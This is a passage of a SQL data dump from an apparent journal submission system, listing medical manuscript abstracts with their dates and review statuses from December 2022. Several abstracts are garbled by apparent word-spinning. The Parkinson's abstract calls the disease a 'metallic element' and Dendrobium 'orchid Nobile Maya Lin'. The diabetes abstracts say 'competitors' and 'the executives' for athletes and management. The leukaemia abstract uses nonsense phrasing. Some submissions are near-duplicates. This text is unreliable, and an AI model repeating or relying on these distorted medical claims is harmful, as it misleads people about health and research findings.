además del medicamento en sí.','',5380,NULL,'2022-12-13',NULL,'Submitted',4,NULL,'2022-12-13',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13278,13486,277,0,'ipadm-22-13278','The Clinical Relevance of Pharmaceutical Ideas, Disease Progression and Formulation of New Drug Development',NULL,5,0,'','La investigación de formulaciones implica el desarrollo de formulaciones que sean estables y aceptables para los pacientes. Para los medicamentos administrados por vía oral, esto generalmente implica incorporar el medicamento en una tableta o cápsula. Es importante distinguir que las tabletas contienen varias sustancias potencialmente inertes además del medicamento en sí.','',2805,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13279,13487,277,0,'ipadm-22-13279','Efectos de la hiperpotasemia en la producción de impulsos',NULL,5,0,'','La hiperpotasemia es una condición clínica típica que puede iniciar peligrosas arritmias cardiovasculares. Los signos electrocardiográficos de hiperpotasemia fluctúan desde el latido de onda sinusoidal ejemplar, que ocurre en la hiperpotasemia grave, hasta vagas anomalías de repolarización que se observan con aumentos suaves del potasio sérico. Presentamos un caso de hiperpotasemia, inicialmente analizado como taquicardia ventricular, para mostrar cómo se puede analizar la hiperpotasemia problemática. Se presenta un estudio interno y externo de la hiperpotasemia, que examina los cambios electrofisiológicos y electrocardiográficos que ocurren a medida que aumentan los niveles de potasio sérico. Luego se examina el tratamiento de la hiperpotasemia, con énfasis en los sistemas por los cuales cada mediación reduce los niveles de potasio sérico. Se ha realizado un amplio estudio escrito para introducir un estudio exhaustivo de las causas y el tratamiento de la hiperpotasemia.','',5023,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13280,13490,667,0,'iptb-22-13280','Mechanisms, current methods, and future prospects of biomimetic surface functionalization for bone-integrating orthopaedic implants',NULL,5,0,'','The incidence of orthopaedic implants is rising worldwide, with hundreds of thousands of surgeries performed each year. However, due to inadequate bone integration, a sizeable fraction of these surgeries fail. Numerous research directions have been looked at to address this problem and enhance the biocompatibility of orthopaedic devices by altering the body\'s reaction to the implant surface. Orthopedic surfaces with biomimetic functionalization can signal through immobilised proteins and other biomolecules to influence the biological response. By encouraging osteoblast development and bone growth at the implant surface, this strategy hopes to integrate the orthopaedic surface with the surrounding bone tissue. The requirement for biomimetic functionalization is first highlighted in this review from a materials and biological standpoint. the characteristics of the surface that control protein-surface interactions are subsequently explained. We review and discuss developments in the biomolecule functionalization of orthopaedic surfaces through adsorption, chemical covalent immobilisation, and physical covalent immobilisation. Each approach\'s immobilisation mechanisms are looked at, and the tactics are rated for complexity, effectiveness, reproducibility, and scalability. Then, new and promising directions for the multi-functionalization of biomimetic surfaces and the conversion of 2D substrates to 3D substrates are investigated.','Surface bio-functionalization; Biomolecules; Osseointegration; Titanium',3322,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-23',NULL,1,1,'1','ACCEPT',0,NULL,NULL,NULL,0,0,0,NULL,0),(13281,13489,667,0,'iptb-22-13281','An Analysis of Translational Radiotherapy for Vestibular Schwannoma',NULL,5,0,'','The treatment of vestibular schwannoma is still up for debate and may involve a wait-and-see approach, surgery, and radiotherapy, primarily using a stereotactic technique. Reviewing the outcomes of current clinical series that received radiotherapy is the goal of this investigation. Materials and procedures Pubmed and Scopus were used to search the literature using the terms \"vestibular schwannoma, acoustic neuroma, radiation, and radiosurgery\". Waiting it out, surgery, and radiotherapy are among the treatment options for VS. When treating minor lesions, radiosurgery (SRS) has a local control rate of more than 90%, which is comparable to surgical methods. Recent research reviews demonstrate that SRS results in positive functional outcomes. In cases of massive inoperable lesions, fractionated stereotactic radiotherapy (FSRT) is recommended by a number of academic studies. Radiotherapy is important in the management of VS. SRS can ensure comparable local control and possibly superior function outcomes in small-size lesions compared to surgery. When surgery is not an option for large and irregularly shaped lesions, FSRT may be employed.','Vestibular Schwannoma; Acoustic Neuroma; Stereotactic Radiosurgery; Radiotherapy',3322,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','ACCEPT',0,NULL,NULL,NULL,0,0,0,NULL,0),(13284,13491,971,0,'ipaclr-22-13284','Improving Diabetes Care by Directing a New Compensation Model for Endocrinologists',NULL,5,0,'','There is a consensus that payment for administrative services does not go far enough to support the provision of high-value care. Our Enterprise, a Pittsburgh-based payer-supplier corporation, created an endocrinologists\' elective compensation model. With our arrangement, endocrinologists\' jobs are continuously shifting away from clinical responsibilities and toward a more collaborative role with their key consideration partners. Given that the majority of diabetic patients are managed under primary care, this change enables endocrinologists to assist primary care physicians (PCPs) in managing patients with diabetes and other endocrine-related illnesses while reducing the frequency of usual in-office references to endocrinology. Despite the unanticipated changes that COVID welcomed, during the first nine months of the pay model, we observed its impact on care delivery as well as the relationship between participating trained professionals and PCPs. Diabetes-explicit quality measurements have improved, according to practice- and supplier-level quality information. For diabetes executives, 16 out of 54 objective practises obtained NCQA recognition in a single year. A fulfilment score of > 90% was reported by a total of 88% of participating PCPs. Finally, our model suggests using guarantees in place of administration fees with a chance to reduce costs and improve the quality of care.','',5380,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13285,13492,971,0,'ipaclr-22-13285','The ability to tend to one\'s wellbeing Adaptability in Diabetes',NULL,5,0,'','For people, networks, administrations, and frameworks, diabetes problem represents a significant long-term challenge. Maintaining health proficiency is a crucial factor in preventing health imbalances and illuminating policies and plans that result in appropriate responses to the needs of diabetics. The concept of wellbeing proficiency has evolved from basic practical skills in reading and math to a multi-layered one that also includes the capacities and resources with regard to access and openness to wellbeing data and services to maintain great wellbeing taking into account the various settings of people. Given the current need to coordinate the evolving computer attack and the pressing need for informed and transparent collaborations with media and administrations, the significance of wellbeing education is appropriate (eHealth proficiency). Therefore, medical care administrations and suppliers, as well as strategies and leaders, must recognise and adjust to a variety of needs for wellbeing education, especially for the most vulnerable. A few promising research projects are currently underway in Europe and other parts of the world to address health (and eHealth) proficiency for the collaboration and expansion of potentially sustainable mediations and strategies with regard to the anticipation and management of diabetes.','',5380,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13286,13493,971,0,'ipaclr-22-13286','Examining the Executives\' Proposals to Competitors for Type 1 Diabetes',NULL,5,0,'','Competitors with type 1 diabetes (T1D) experience new challenges maintaining optimal glucose levels and as a result need specialised guidance from their medical services providers. In this, we hope to compile and analyse recommendations targeted at T1D the executives in rivals\' efficient position articulations and commonly used clinical practise guidelines. The objective is to assess the available proposals under the presumption that they are comprehensive enough for competitors to apply to superior execution sport. Extension of clinical practise guidelines may be possible in order to increase the breadth and depth of proposals for superior execution competitors with T1D.','',3249,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13287,13494,1020,0,'ipmedt-22-13287','How to Create a Uniform Definition of ',NULL,4,0,'','Today, fever is defined as a temperature above 38 degrees Celsius (100.40 F). The same temperature is used to determine hyperthermia. The temperature of the fever is below 42 degrees, but the temperature of the hyperthermia may be above 42 degrees, but the common factor for fever and hyperthermia is only an increase in temperature of more than 38 degrees.\r\nFever and hyperthermia are treated by lowering the temperature because there is no distinction between fever and hyperthermia and it is not known what the temperature of the fever is. And the fever is believed to be a symptom and is dangerous. In such a situation there is no other way but to reduce the body temperature as in hyperthermia. Therefore, no specific definition, diagnosis, or treatment is required to distinguish between fever and hyperthermia.\r\n So many questions arose as to the purpose of the fever temperature and the difference between fever and hyperthermia. Its symptoms, signs, signals, and activity are separated from each other and it necessitates a new definition, diagnosis, and treatment of fever and hyperthermia.\r\nResearchers agree that fever’, and ‘hyperthermia’, are not yet universally defined1 and that there is no basic knowledge of fever in the modern medical literature2.\r\nThere is no similarity between what happens when there is a fever and what happens when there is hyperthermia, and they are contradictory. \r\n','hyperthermia,symptoms',4892,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13288,13495,1020,0,'ipmedt-22-13288','Knowledge Translation for Implementation of Point-of-Care Technology (POCT) in Breast Cancer Survivors in Africa: Descriptive study  ',NULL,4,0,'','Background: Obesity, and mediators of inflammation have been identified as the most important risk and predictive factors in postmenopausal breast cancer survivors (BCS) using aromatase inhibitors (AIs). Data is lacking on the effects of AIs on clinical, biomedical and genetic markers among postmenopausal BC women in the African settings.\r\nPurpose:  To assess the feasibility of HyBeacon® probe genotyping adjunctive to standard care for timely prediction and diagnosis of AI-associated adverse events in breast cancer survivors in Africa.\r\n \r\nMethods: Cross sectional study was conducted to assess the knowledge of POCT among six African countries using online survey and telephonically contacted. Incremental cost effectiveness ratio (ICER) was calculated, using diagnostic accuracy study. This was based on mathematical modeling.     \r\nResults: One hundred twenty-six participants were considered for analysis (mean age = 61 years; SD = 7.11 years; 95%CI: 60-62 years). Comparison of genotyping from HyBeacon® probe technology to Sanger sequencing showed that sensitivity was reported at 99% (95% CI: 94.55% to 99.97%), specificity at 89.44% (95% CI: 87.25 to 91.38%), PPV at 51% (95%: 43.77 to 58.26%), and NPV at 99.88% (95% CI: 99.31 to 100.00%). Based on the mathematical model, the assumptions revealed that ICER was R7 044.55. \r\nConclusion: HyBeacon® probe genotyping for AI-associated adverse events is cost effective in Africa. The barriers for implementation of POCT application among six African countries for diagnosis of breast cancer included governance issues, insufficient awareness and insufficient trainings, lack of lab equipment’s, insufficient funding’s and  ethical guidance issues for conducting genetic testing’s in African context. \r\n','Aromatase inhibitors, point of care testing, postmenopausal breast cancer, cardiovascular risk factors',5421,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13289,13496,1020,0,'ipmedt-22-13289','Non-Specific Low Back Pain in Basketball Players',NULL,4,0,'','The lumbar spine is a difficult biomechanical portion of injuries that plague the athletic population, specifically in basketball players. In other areas of the bodies, diagnostic imaging and provocative testing are specific such as lateral ankle sprains and rotator cuff injuries. However, the overlapping anatomy of the lumbar spine means layers of musculoskeletal tissues, fascia, and intervertebral discs (IVD) that can contribute to being a pain generator. The purpose of this presentation will be to educate clinicians and coaches on the different yet broad types of injuries that occur in the lumbar spine. Additionally, management strategies will be provided for effective implementation at different parts throughout the season. Although the lumbar spine is complex, clinicians and coaches can work together in making a positive impact to players and low back injuries.',' lumbar spine,injuries,musculoskeletal',4892,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13290,13497,975,0,'ipjbs-22-13290','Screening of Dendrobium Nobil Lin against Parkinson Disease using  C. elegans as a model',NULL,5,0,'','Parkinson is one amongst the foremost common neurodegenerative diseases, that is characterised by associate induce programmed necrobiosis. the precise etiology of Parkinson malady (PD) remains unknown but it\'s far-famed that aerobic stress produces necrobiosis, that causes defects in mitochondria and neuro-inflammation that play necessary roles in pathological process. it\'s related to aggregation of α-synuclein and selective death of dopaminergic neurons within the locus niger, thereby resulting in psychological feature and motor impairments. The out there medication like dihydroxyphenylalanine, give solely symptomatic relief to metallic element so, indicating pressing would like for explore new medication against metallic element, particularly from plant origin. This study aimed to research the anti-Parkinson activity against the extract of orchid nobile Maya Lin, by mistreatment Caenorhabditis elegans model rather than environmental induced poison model of eutherian. orchid Nobile Maya Lin (DNL) showed potential to decrease the dopaminergic loss increase the period of time during a nematode worm model of Parkinson’s malady. in addition, D. nobile extract conjointly promoted the breakdown of fat droplets, that are delineated to accumulate in brains throughout this malady moreover, no noxious impact of this extract was found throughout all the studies. ','Parkinson’s malady, Neuroprotective, inhibitor, flavoring treatments, natural constituents. ',5410,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13291,13498,975,0,'ipjbs-22-13291','Knowledge Translation for Implementation of Point-of-Care Technology (POCT) in Breast Cancer Survivors in Africa ',NULL,5,0,'','Background: Obesity and mediators of inflammation have been identified as the most important risk and predictive factors in postmenopausal breast cancer survivors (BCS) using aromatase inhibitors (AIs). Data is lacking on the effects of AIs on clinical, biomedical and genetic markers among postmenopausal BC women in the African settings.\r\nPurpose:  To assess the feasibility of probe genotyping adjunctive to standard care for timely prediction and diagnosis of AI-associated adverse events in breast cancer survivors in Africa.\r\n Methods: Cross sectional study was conducted to assess the knowledge of POCT among six African countries using online survey and telephonically contacted. Incremental cost effectiveness ratio (ICER) was calculated, using diagnostic accuracy study. This was based on mathematical modeling.     \r\nResults: One hundred twenty-six participants were considered for analysis (mean age = 61 years; SD = 7.11 years; 95%CI: 60-62 years). Comparison of genotyping from HyBeacon® probe technology to Sanger sequencing showed that sensitivity was reported at 99% (95% CI: 94.55% to 99.97%), specificity at 89.44% (95% CI: 87.25 to 91.38%), PPV at 51% (95%: 43.77 to 58.26%), and NPV at 99.88% (95% CI: 99.31 to 100.00%). Based on the mathematical model, the assumptions revealed that ICER was R7 044.55. \r\nConclusion: HyBeacon® probe genotyping for AI-associated adverse events is cost effective in Africa. The barriers for implementation of POCT application among six African countries for diagnosis of breast cancer included governance issues, insufficient awareness and insufficient trainings, lack of lab equipment’s, insufficient funding’s and  ethical guidance issues for conducting genetic testing’s in African context. \r\n','Aromatase inhibitors, point of care testing, postmenopausal breast cancer, cardiovascular risk factors',5422,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13292,13499,667,0,'iptb-22-13292','Precision Medicine and Translation of Human-Induced Pluripotent Stem Cells: Review',NULL,15,0,'','The future of biomedical research has undergone a significant change as a result of the possibility of altering the flexibility of terminally differentiated cells toward pluripotency. Human-induced pluripotent stem cells (iPSCs) offer a fresh source of therapeutic cells free of the moral quandaries or immunological restrictions associated with human embryonic stem cells. iPSCs also provide significant benefits over traditional approaches of studying human diseases. Three key uses of iPSC technology have emerged since its inception: disease modelling, regenerative medicine, and drug development. Here, we thoroughly cover the most recent developments in iPSC technology in connection to fundamental, clinical, and public health.','Pluripotent; Stem Cells, Translation',3322,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','ACCEPT',0,NULL,NULL,NULL,0,0,0,NULL,0),(13293,13500,91,0,'ijddr-22-13293','Adapting tailored nanocarriers to evolving antimalarial medication delivery needs',NULL,5,0,'','Adapting existing antimalarial nanocarriers to novel Plasmodium stages, medicines, targeting compounds, or encapsulating structures is a method that could lead to new nanotechnology-based, low-cost malaria treatments. We investigated the modification of various liposome prototypes developed in our laboratory for the targeted delivery of antimalarial medicines to Plasmodium-infected red blood cells (pRBCs). These new models include: immunoliposome-mediated release of new lipid-based antimalarials; liposomes targeted to pRBCs with covalently linked heparin to reduce anticoagulation risks; heparin adaptation to pRBC targeting of chitosan nanoparticles; heparin use for Plasmodium stage targeting in the mosquito vector; and use of the non-anticoagulant glycosaminoglycan chondroitin 4-s.\r\nPre-existing antimalarial nanocarriers and targeting molecules (grey boxes) have been adjusted in their nanocapsule, targeting molecule, and drug payload to respond to novel malaria parasite therapy techniques.','Plasmodium; Antimalarial; Nanocarriers',1325,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13295,13503,975,0,'ipjbs-22-13295','Study on the Repair and Remodelling of Cerebral Nerve in Children with Cerebral Palsy by Acupuncture',NULL,5,0,'','Objective: to find out how acupuncture affects motor development and brain plasticity in children with cerebral palsy. In young rats with cerebral palsy, investigate the effect on the mechanism of apoptosis of brain nerve cells, the regulation of the expression of neurotrophic factors, the promotion of the remodeling of nerve synaptic structure, and motor development. Two: To assess the impact and system of needle therapy on cerebral paralysis. Three: Acupuncture\'s effect on nerve repair in cerebral palsy. \r\nMethods: 1078 cases of cerebral palsy and 146 cases of brain injury were included in this randomized controlled study using the ICF Gross motor function measure; Gesell, muscle tension, joint activity, and Activity of Daily Living; GMFM, Peabody\'s fine motor function, ADL, transcranial Doppler, TCD, skull B ultrasound, Brain Nuclear Magnetic Resonance Imaging MRI, Positron Emission Tomography SPECT, and the Diffusion Tensor Tractography (DTI) method of evaluation are all used to assess the brain.\r\nResults: Transcranial Doppler, TCD total efficiency (79.3%) was significantly higher than that of the control group (51.8%), and the recovery rate of extracellular space was significantly higher than that of the control group (70.8%) (P  0.05). Acupuncture effectively reduces neurological sequelae by promoting neurological and cognitive movement development in infants younger than six months.\r\nConclusion: In children with cerebral palsy, acupuncture rehabilitation not only promotes the development of the white matter and gray matter, but it also promotes the remodeling and compensation of brain function, social adaptation, language and other cognitive function development, movement and recovery of fine motor function, and the children\'s ability to take care of themselves.\r\n','Cerebral palsy;Acupuncture;Nerve repair;Nerve recombination;Movement and Fine motor function;Cognitive function development',5424,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13296,13505,971,0,'ipaclr-22-13296','Hypertension Management Cardiology Procedures',NULL,5,0,'','Even though the COVID infection 2019 (COVID-19) pandemic has the attention of the entire world, it is crucial to remain aware of other extremely dangerous situations that have not abated at this time. Such concerns include the prevalence of cardiovascular infections worldwide, with hypertension at the top of the list. Additionally, although uncontrolled hypertension per se has not been confirmed as a free indicator of serious complications or death from COVID-19, it causes heart and kidney infections as well as stroke, all of which are highly avoidable conditions that increase vulnerability to health risks, including COVID-19.','',3249,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13298,13507,971,0,'ipaclr-22-13298','Competitors who have type 1 diabetes (T1D) encounter new challenges',NULL,5,0,'','Competitors with type 1 diabetes (T1D) experience new challenges maintaining optimal glucose levels and as a result need specialised guidance from their medical services providers. In this, we hope to compile and analyse recommendations targeted at T1D the executives in rivals\\\' efficient position articulations and commonly used clinical practise guidelines. The objective is to assess the available proposals under the presumption that they are comprehensive enough for competitors to apply to superior execution sport. There is a chance for the expansion of clinical practise guidelines to increase the breadth and depth of proposals for competitors with T1D who perform better.','',3249,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13299,13509,971,0,'ipaclr-22-13299','Developing a New Compensation Model for Endocrinologists to Improve Diabetes Care',NULL,5,0,'','There is a consensus that payment for administrative services does not go far enough to support the provision of high-value care. Our Enterprise, a Pittsburgh-based payer-supplier corporation, created an endocrinologistselective compensation model. With our arrangement, endocrinologistsjobs are continuously shifting away from clinical responsibilities and toward a more collaborative role with their key consideration partners. Given that the majority of diabetes patients are managed under essential consideration, this change enables endocrinologists to assist primary care physicians (PCPs) in managing patients with diabetes and other endocrine-related illnesses while reducing the frequency of usual in-office references to endocrinology. Despite the unanticipated changes that COVID welcomed, during the first nine months of the pay model, we observed its impact on care delivery as well as the relationship between participating trained professionals and PCPs. Diabetes-explicit quality measurements have improved, according to practice- and supplier-level quality information. For diabetes executives, 16 out of 54 objective practises obtained NCQA recognition in a single year. A fulfilment score of > 90% was reported by a total of 88% of participating PCPs. Finally, our model suggests using guarantees in place of administration fees with a chance to reduce costs and improve the quality of care.',' ',4933,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13300,13510,971,0,'ipaclr-22-13300','The ability to stand in Individuals with Diabetes',NULL,5,0,'','For people, networks, administrations, and frameworks, diabetes problem represents a significant long-term challenge. Maintaining health proficiency is a crucial factor in preventing health imbalances and illuminating policies and plans that result in appropriate responses to the needs of diabetics. The concept of wellbeing proficiency has evolved from basic practical skills in reading and math to a multi-layered one that also includes the capacities and resources with regard to access and openness to wellbeing data and services to maintain great wellbeing taking into account the various settings of people. Given the current need to coordinate the evolving computer attack and the pressing need for informed and transparent collaborations with media and administrations, the significance of wellbeing education is appropriate (eHealth proficiency). Therefore, medical care administrations and suppliers, as well as strategies and leaders, must recognise and adjust to a variety of needs for wellbeing education, especially for the most vulnerable. A few promising research projects are currently underway in Europe and other parts of the world to address health (and eHealth) proficiency for the collaboration and expansion of potentially sustainable mediations and strategies with regard to the anticipation and management of diabetes.','',4583,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13301,13511,971,0,'ipaclr-22-13301','The Therapeutic Targeting of the B cell acute lymphoblastic leukaemia',NULL,5,0,'','In on-going many years, the lead of uniform planned clinical preliminaries has prompted better reduction rates and endurance for patients with intense myeloid leukaemia and intense lymphoblastic leukaemia. Notwithstanding, high-risk patients keep on having substandard results, where chemo resistance and backslide are normal because of the endurance components used by leukaemia cells. One such component is through seizing of the bone marrow microenvironment, where solid haematopoietic hardware is changed or redesigned into a concealing ground or \"safe-haven\" where leukaemia cells can get away from chemotherapy-initiated cytotoxicity. The bone marrow microenvironment, which comprises of endosteal and vascular specialties, can uphold leukaemogenesis through intercellular with specialty cells, including mesenchyme undifferentiated organisms, endothelial cells, osteoblasts, and osteoclasts.','',5346,NULL,'2022-12-13',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13302,13512,326,0,'IPJUS-22-13302','Sinus Surgery: Functional endoscopic of sinus surgery',NULL,5,0,'','Through shared decision-making, physicians and patients can elect endoscopic sinus surgery (ESS) when maximal medical therapy fails in patients with chronic rhino sinusitis (CRS). In this study, we aim to explore the most important themes with regards to patients’ perspectives on ESS. Our objective was to define the patient experience and ensure that we have congruent physician and patient goals for obtaining success. Healthcare providers use this surgery to treat chronic sinusitis, remove nasal polyps and treat other conditions that affect your sinuses. Most people have sinus surgery because they have severe sinus problems that medication hasn’t helped. There are several types of sinus surgeries designed to be less invasive with shorter recovery times.\r\nHealthcare providers use this surgery to treat chronic sinusitis, remove polyps from your sinuses and treat other conditions. Most people have sinus surgery because they have severe sinus problems that medication hasn’t helped. Sinus surgery may involve removing infected sinus tissue, bone or polyps. There are several types of sinus surgeries designed to be less invasive so you can recover quickly.',' ',3103,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13303,13513,326,0,'IPJUS-22-13303','Minimally Invasive Surgery and Hydrocele in Hyderabad',NULL,5,0,'','Hydrocele of the spermatic cord is a rare anomaly which occurs when closure of processus vaginalis was hampered. There are two variations of a spermatic cord hydrocele: the encysted variety that does not communicate with the peritoneal cavity and the funicular variety that communicates with the peritoneal cavity. This case report depicts the clinical investigation and management of a rare case of encysted spermatic cord hydrocele in a 3-year-old boy. Surgery is indicated if no communicating scrotal hydrocele does not resolve by 12–18 months of age or if it becomes larger in size. A hydrocelectomy is a surgical procedure to repair a hydrocele, which is a build-up of fluid around a testicle. Often a hydrocele will resolve itself without treatment. However, as a hydrocele grows larger, it can cause swelling, pain, and discomfort in the scrotum and may need surgical repair. A hydrocelectomy removes the fluid and shrinks the size of the sac formerly containing the fluid. Symptomatic hydroceles are commonly treated with surgical repair. They are associated with sexual dysfunction in the aging male. Patients who are not fit for surgery often undergo aspiration and sclerotherapy of the hydrocele. There is a range of sclerosing agents used in the literature. I performed a literature search to assess whether one sclerosant was better than the others.',' ',3103,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13304,13514,326,0,'IPJUS-22-13304','Treatment of endometriosis: Endometriosis Surgery',NULL,5,0,'','Endometriosis is a benign disease, which affects about 10% of reproductive age women and almost 50% of infertile women. Although every year at least 300 new articles deal with this topic, endometriosis is still a enigmatic disease starting with theories of etiopathogenesis where there is still no consensus about the major cause of endometriosis. Also there is still no consensus about the management of the disease, mainly when there is an infertile patient who is preparing for in vitro fertilization procedure.',' ',3103,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13305,13515,326,0,'IPJUS-22-13305','Types of Ankle Surgeries and Ankle Replacement Surgery',NULL,5,0,'','Ankle fractures are the third most common osseous injury in the elderly, behind hip and distal radius fractures. While there is a rich history of clinical advancement in the timing, technique, perioperative management, and associated risks of hip fractures, similar evaluations are only more recently being undertaken for ankle fractures. Traditionally, elderly patients were treated more conservatively; however, nonoperative management has been found to be associated with increased mortality. As such, older and less healthy patients have become operative candidates. Ankle surgery may be an option when more-conservative treatments don\'t relieve ankle pain caused by severe arthritis. The type of surgery that\'s right for you depends on your age, your level of activity, and the severity of your joint damage or deformity. Severely damaged ankle joints may need to have the bones fused together or even replaced with an artificial joint. Ankle surgery is a treatment option recommended to people with severe pain or injuries in the ankle joint. Depending on certain factors like your age, overall health, and the severity of the pain, your doctor may determine the type of ankle surgery suitable for you.',' ',3103,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13307,13517,971,0,'ipaclr-22-13307','Rash in a Child Born with Reduced Mass: Skin Aspergillosis',NULL,5,0,'','The incidence of several invasive fungal infections has increased over the past forty years, including primary cutaneous aspergillosis (PCA). We present a case of an infant who was born at an incredibly low birth weight and was later found to have cutaneous aspergillosis. This case illustrates the risk factors and medical advances associated with neonatal PCA. Additionally, we discuss the use of serum galactomannan testing and combined amphotericin B and voriconazole therapy. Early recognition of PCA-related injuries is necessary to ensure quick identification and care, potentially preventing scattering with the best outcomes.','',4933,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13308,13518,251,0,'ipacm-22-13308','HIV and Tuberculosis: Bacteria and Viruses',NULL,5,0,'','Summary: A syndemic is defined as the convergence of two or more diseases that act synergistically to magnify the burden of disease. The intersection and syndemic interaction between the human immunodeficiency virus (HIV) and tuberculosis (TB) epidemics have had deadly consequences around the world. Without adequate control of the TB-HIV syndemic, the long-term TB elimination target set for 2050 will not be reached. There is an urgent need for additional resources and novel approaches for the diagnosis, treatment, and prevention of both HIV and TB. Moreover, multidisciplinary approaches that consider HIV and TB together, rather than as separate problems and diseases, will be necessary to prevent further worsening of the HIV-TB syndemic. This review examines current knowledge of the state and impact of the HIV-TB syndemic and reviews the epidemiological, clinical, cellular, and molecular interactions between HIV and TB.','HIV; Viruses; Tuberculosis; Bacteria; Infectious disease',787,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13309,13519,251,0,'ipacm-22-13309','Microbiological profile of aerobic and anaerobic bacteria',NULL,5,0,'','Odontogenic infections are mixed aerobic-anaerobic microbial flora. Infections caused by anaerobic bacteria are serious and life-threatening. The microbial specificity in odontogenic infections is technique sensitive depending on the sampling and culturing of specimens. The drug resistance is expected to be the most important challenge in infection control in Iran, where there is no local report or standard drug resistance monitoring system. Therefore, this study aimed to investigate the aerobic and anaerobic bacterial profile of nosocomial infections and their antibiotic resistance in Ahvaz, southwest Iran.\r\nThe human gut microbiota plays an important role in human health. Accessing and culturing the gut microbes remains critical in microbiology. The culturomics approach, combined with sequencing strategies, provides new insights in the study of gut microbiota components. However, we are still far from having described all the microbes. Many factors are involved in recovering as much bacteria as possible. One of the most important factors is sample preparation and conservation. The aim of the present work was to evaluate three different types of stool sample conditioning by mainly studying the effect of atmospheric oxygen on bacterial viability and culturability. Quantitative analysis of fecal samples from eight different healthy individuals was carried out using a culture-independent method (flow cytometry) and a culture-dependent method (plating technique). We found that the cultured bacteria reached a 50% yield when the samples were exposed to oxygen for 120 min without any protectant medium, while the percentage of culturability increased to 67% in the presence of antioxidants. More importantly, when samples were exposed to oxygen for less than 2 min, combined with the work under the anaerobic chamber, no discordance was found between the two counting techniques and the culturability increased to 87%. Our study confirmed the importance of sample conditioning to preserve the bacterial viability in samples, especially for oxygen-sensitive intestinal bacteria.','Microbiological Genomics; Aerobic bacteria; anaerobic bacteria; Metabolize energy',785,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13311,13521,975,0,'ipjbs-22-13311','Micro RNAs\' roles in coronary artery disease and revascularization',NULL,25,0,'','The vascular wall\'s chronic inflammatory response is commonly regarded as atherosclerosis, and its complications contribute significantly to patient mortality. Patients with atherosclerotic disease frequently undergo an angioplasty with stent replacement. However, angioplasty patients typically experience a high rate of restenosis. New signaling molecules that regulate the progression of atherosclerosis and restenosis have continuously been discovered, despite the well-established pathophysiological mechanisms that underlie these conditions. A new class of gene regulators known as microRNAs (miRs) function through translational inhibition or activation and transcriptional degradation \r\nMore than 30% of the cell\'s genes can be directly controlled by miRs. As a result, it is accepted that miRs play a crucial role in normal development, physiology, and pathogenesis. Diverse vascular diseases have been linked to variations in miR expression profiles. It has been discovered that miRs regulate a wide range of vascular cell functions, including cell differentiation, contraction, migration, proliferation, and inflammation. These functions are also involved in angiogenesis, the formation of neointima, and the lipid metabolism that underlies a variety of vascular diseases. Atherosclerosis and restenosis are characterized by the regulation of vascular cell function by miRs, which are the subject of this review. Clinical diagnostic and therapeutic approaches for vascular diseases caused by atherosclerosis and restenosis will likely benefit from these 